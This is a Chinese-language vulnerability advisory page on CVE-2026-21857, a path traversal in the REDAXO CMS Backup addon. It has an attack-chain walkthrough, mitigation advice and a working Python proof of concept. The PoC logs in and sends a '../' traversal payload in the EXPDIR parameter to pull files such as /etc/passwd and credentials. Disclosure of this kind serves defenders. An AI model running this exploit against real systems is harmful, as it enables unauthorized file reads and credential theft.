IPBUF安全漏洞报告
English
CVE-2026-21857 CVSS 6.5 中危

CVE-2026-21857 REDAXO CMS Backup插件路径遍历漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2026-21857
漏洞类型
路径遍历
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
REDAXO CMS

相关标签

路径遍历任意文件读取REDAXO CMSBackup插件CVE-2026-21857信息泄露PHP

漏洞概述

CVE-2026-21857是REDAXO CMS中的一个中等严重性路径遍历漏洞。REDAXO是一款基于PHP的开源内容管理系统,广泛应用于中小型网站和企业门户。该漏洞存在于Backup插件的文件导出功能中,存在于5.20.2之前的版本。攻击者利用此漏洞可以通过构造特殊的路径遍历序列(如../)读取Web根目录下的任意文件,包括配置文件、数据库凭证、其他用户的敏感数据等。此漏洞需要认证用户具备备份权限才能利用,但由于路径验证不足,攻击者可以绕过UI生成的允许目录列表限制,访问本不该访问的文件。成功利用此漏洞可能导致敏感信息泄露,进而为进一步攻击提供有价值的情报。

技术细节

该漏洞的根本原因在于Backup插件的EXPDIR POST参数缺乏有效的路径验证机制。正常情况下,系统应该只允许用户从预设的允许目录列表中选择文件进行备份导出,但代码实现中缺少对用户输入路径的规范化检查。攻击者可以通过以下方式利用:1) 构造包含../的相对路径,如../../../../etc/passwd,跳转到系统敏感文件;2) 使用绝对路径直接指向文档根目录内的任意文件。Backup插件在处理EXPDIR参数时直接拼接路径而未进行安全校验,最终将目标文件包含在生成的.tar.gz压缩包中返回给攻击者。由于攻击者需要具备备份权限,该漏洞的利用门槛相对较高,但仍对有备份权限的恶意内部用户构成严重威胁。修复版本5.20.2增加了对EXPDIR参数的验证逻辑,确保只能访问允许目录下的文件。

攻击链分析

STEP 1
步骤1
攻击者获取REDAXO CMS的有效账户凭证,需要该账户具备Backup插件的备份权限
STEP 2
步骤2
攻击者登录系统并访问Backup插件的导出功能页面
STEP 3
步骤3
攻击者构造包含路径遍历序列的EXPDIR参数,如../../../../../../etc/passwd
STEP 4
步骤4
服务器端未验证路径合法性,直接将目标文件打包到.tar.gz压缩包中
STEP 5
步骤5
攻击者下载生成的压缩包,解压后获取敏感文件内容,如配置文件、数据库凭证等
STEP 6
步骤6
利用获取的敏感信息进行进一步攻击,如数据库入侵、横向移动或完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-21857 PoC - REDAXO Backup Path Traversal # Target: REDAXO CMS < 5.20.2 def exploit(target_url, username, password, file_to_read): """ Exploit path traversal in REDAXO Backup addon """ session = requests.Session() # Step 1: Login to REDAXO login_url = f"{target_url}/redaxo/index.php" login_data = { 'form_id': 'login', 'login': username, 'password': password } resp = session.post(login_url, data=login_data) if 'login' in resp.text.lower(): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Exploit path traversal via EXPDIR parameter backup_url = f"{target_url}/redaxo/index.php?page=backup/export" # Path traversal payload to read arbitrary file # Adjust the number of ../ based on target configuration traversal_path = "../../../../../../" + file_to_read exploit_data = { 'EXPDIR': traversal_path, 'send': '1' } print(f"[*] Sending exploit request for: {file_to_read}") resp = session.post(backup_url, data=exploit_data) # Check if we got a tar.gz file back if resp.headers.get('Content-Type') == 'application/gzip' or \ resp.headers.get('Content-Type') == 'application/x-gzip' or \ '.tar.gz' in resp.headers.get('Content-Disposition', ''): print("[+] Exploit successful! File archive received.") # Save the archive with open('exploit_output.tar.gz', 'wb') as f: f.write(resp.content) print("[+] Archive saved as exploit_output.tar.gz") return True else: print("[-] Exploit may have failed or file not found") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <file_path>") print("Example: python exploit.py http://target.com admin admin /etc/passwd") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] file_path = sys.argv[4] exploit(target, user, pwd, file_path)

影响范围

REDAXO CMS < 5.20.2

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 审查并限制具有备份权限的用户账户,移除不必要的备份权限;2) 在Web服务器层面配置,禁止访问Backup插件目录或对EXPDIR参数进行过滤;3) 启用详细的访问日志监控,及时发现异常备份请求;4) 考虑暂时禁用Backup插件的导出功能,直到完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表